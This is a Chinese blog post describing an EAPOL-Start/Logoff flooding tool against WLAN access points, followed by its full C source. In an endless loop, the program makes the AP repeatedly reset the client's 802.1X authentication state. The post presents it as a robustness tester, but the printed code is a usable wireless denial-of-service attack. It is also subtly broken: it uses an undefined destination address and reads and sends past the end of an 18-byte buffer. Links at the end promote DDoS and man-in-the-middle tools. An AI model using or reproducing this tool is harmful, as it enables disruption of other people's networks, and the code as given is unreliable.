利用winpcap/libnet开发EAPOL-START/LOGOFF攻击测试工具

原创 2006年06月08日 09:29:00
   攻击工具的原理是通过不断地向WLAN AP发送EAPOL-Start和EAPOL-Logoff报文,从而使WLAN AP的状态机中频繁刷新网卡的状态。这个测试工具可以用来测试WLAN AP的性能和抗攻击的能力。
    程序中除了主函数外,有以下5个函数:
u_char *get_src_mac();
u_char *eapol_create_start_stop_frame(char stst);
char *send_frame(u_char *frame_ptr, int frame_size);
void txStart();
void txLogoff();
    其中,get_src_mac()函数的作用是获取本地无线网卡的mac,注意攻击之前无线网卡要连上WLAN AP。eapol_create_start_stop_frame(char stst)函数根据输入参数的不同可以选择构造EAPOL-Start和EAPOL-Logoff报文。send_frame(u_char *frame_ptr, int frame_size)函数负责数据包的发送。void txStart()和void txLogoff()两个函数调用其它函数完成EAPOL-Start和EAPOL-Logoff报文的发送过程。
通过对无线报文进行抓包,可以看到试验的结果如图4-13所示:
          
  图4-13 EAPOL-Start/Logoff报文攻击的过程

从抓包结果可以看出,当无线网卡发送EAPOL-Start报文时,WLAN AP做出了回应EAP-Request。由于不同WLAN AP对报文的响应时间可能不同。因此可以通过调整EAPOL-Start和EAPOL-Logoff报文之间的发送时间来达到最大的测试效果。在这里可以使用Sleep(int n)函数来实现,n的单位为毫秒。

附录C EAPOL_START攻击测试工具的源代码

EAPOL-START攻击工具的源代码如下所示:
// EAPOL_START_ATTACK.cpp : Defines the entry point for the console application.
#include "stdafx.h"
#include "stdio.h"
#include <win32/libnet.h>
#define ETH_ADDR_LEN 6
#define EAPOL_START     1
#define EAPOL_LOGOFF   2
typedef unsigned char u_char;
libnet_t *l=NULL;
 
//得到本地网卡的mac地址
u_char *get_src_mac()
{
u_char *ret_mac=NULL;
struct libnet_ether_addr *e;
e = libnet_get_hwaddr(l);
ret_mac = (u_char *)malloc(ETH_ADDR_LEN);/*分配一块mac地址的存储单元*/
memcpy(ret_mac, e->ether_addr_octet, ETH_ADDR_LEN);
return (u_char *)ret_mac;
}
 
//构造EAPOL-Start和EAPOL-Logoff报文的函数,当stst的值为EAPOL_START时构造EAPOL-Start报文,当stst的值为EAPOL_LOGOFF时构造的是EAPOL-Logoff函数。
u_char *eapol_create_start_stop_frame(char stst)
{
u_char static * eapol_start;
u_char *src_addr;
eapol_start = (u_char *)malloc(18);  //为EAPOL-START报文分配18字节的空间
memcpy(eapol_start, eapol_dst, 6); // 拷贝目的地址
src_addr = get_src_mac();
memcpy(&eapol_start[6], src_addr, 6);  //拷贝源地址
free(src_addr);
src_addr = NULL;
eapol_start[12] = 0x88;           // 0x888e 是EAPOL帧类型
eapol_start[13] = 0x8e;
eapol_start[14] = 1;                   // EAPOL的版本
eapol_start[15] = stst;              //定义发送的报文类型
eapol_start[16] = 0;                   // 没有负载.
eapol_start[17] = 0;
return eapol_start;
}
 
//发送报文的函数,函数的形参是指向一个待发送数据包的指针
char *send_frame(u_char *frame_ptr, int frame_size)
{
if(frame_ptr[23]==0xcd)
        frame_ptr[23]=0x00;
int i=0;
if ((i = libnet_write_link(l,frame_ptr,frame_size)) == -1)
        return ("Error sending frame");
return NULL;
}
//发送EAPOL-Start报文
void txStart()
{
 printf("send txStart/n");   
 u_char *temp;
 temp = eapol_create_start_stop_frame(EAPOL_START);
 if (send_frame(temp, 26) == NULL)
     printf("send eap_start to link./n");
 free(temp);
 temp = NULL;
}
 
//发送EAPOL-Logoff报文
void txLogoff()
{
printf("send txLogoff/n");   
u_char *temp;
temp = eapol_create_start_stop_frame(EAPOL_LOGOFF);
send_frame(temp, 18);
free(temp);
temp = NULL;
}
//EAPOL-Start/Logoff攻击工具的主函数
void main(int argc, char** argv)
{
char *device=NULL;
char error_information[LIBNET_ERRBUF_SIZE];
printf("EAPOL_START攻击开始:/n");
while (1) {
        l=libnet_init(LIBNET_LINK_ADV,device,error_information);    
        txStart();
        Sleep(10);
        txLogoff();
        libnet_destroy(l);
        Sleep(10);
}
}

相关文章推荐

wpa_supplicant 2.0版源代码阅读(2) ---- L2_packet模块

2. L2_packet模块     L2_packet模块是wpa_supplicant软件中实现EAPOL帧的收发功能。L2即网络协议层的数据链路层。wpa_supplicant针对不同的OS系统...

应用层慢速DDoS攻击压力测试工具-SlowHTTPTest

SlowHTTPTest是一个可配置的应用层拒绝服务攻击测试攻击,它可以工作在Linux,OSX和Cygwin环境以及Windows命令行接口,可以帮助安全测试人员检验服务器对慢速攻击的处理能力。这个...
  • zxchhyg
  • zxchhyg
  • 2017年04月11日 10:21
  • 637

免费DDoS攻击测试工具大合集

DoS(Denial Of Service)攻击是指故意的攻击网络协议实现的缺陷或直接通过野蛮手段残忍地耗尽被攻击对象的资源,目的是让目标计算机或网络无法提供正常的服务或资源访问,使目标系统服务系统停...

Lanmitm — Android中间人攻击测试工具

Lanmitm — Android中间人攻击测试工具 功能概述 数据嗅探,可抓去局域网内部主机与外界通信数据 会话劫持,对局域网中的主机通过实施ARP欺骗,进行cookie欺...

DDoS攻击测试工具大合集

免费DDoS攻击测试工具大合集 2014-06-17 09:50 佚名 FreeBuf 字号:T | T 随着网络上免费的可用DDoS工具增多,DoS攻击日益增长,本文介绍几款Hacker...

应用层慢速DDoS攻击压力测试工具-SlowHTTPTest

SlowHTTPTest是一个可配置的应用层拒绝服务攻击测试攻击,它可以工作在Linux,OSX和Cygwin环境以及Windows命令行接口,可以帮助安全测试人员检验服务器对慢速攻击的处理能力。 ...
  • wyvbboy
  • wyvbboy
  • 2016年04月15日 15:00
  • 1148

应用层慢速DDoS攻击压力测试工具-SlowHTTPTest

下载地址:http://code.google.com/p/slowhttptest/downloads/detail?name=slowhttptest-1.5.tar.gz&can=2&q= ...
  • xysoul
  • xysoul
  • 2015年04月21日 14:11
  • 13976

免费DDOS攻击测试工具大合集

FreeBuf微科普: DoS(Denial Of Service)攻击是指故意的攻击网络协议实现的缺陷或直接通过野蛮手段残忍地耗尽被攻击对象的资源,目的是让目标计算机或网络无法提供正常的服务或...

web开发兼容性测试工具

对于前端开发工程师来说,确保代码在各种主流浏览器的各个版本中都能正常工作是件很费时的事情,幸运的是,有很多优秀的工具可以帮助测试浏览器的兼容性,让我们一起看看这些很棒的工具。 Spoon Brows...

性能测试工具 nGrinder 项目剖析及二次开发

0.背景组内需要一款轻量级的性能测试工具,之前考虑过LR(太笨重,单实例,当然它的地位是不容置疑的),阿里云的PTS(https://pts.aliyun.com/lite/index.htm, 仅支...
  • neven7
  • neven7
  • 2016年02月25日 21:09
  • 8980
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:利用winpcap/libnet开发EAPOL-START/LOGOFF攻击测试工具
举报原因:
原因补充:

(最多只允许输入30个字)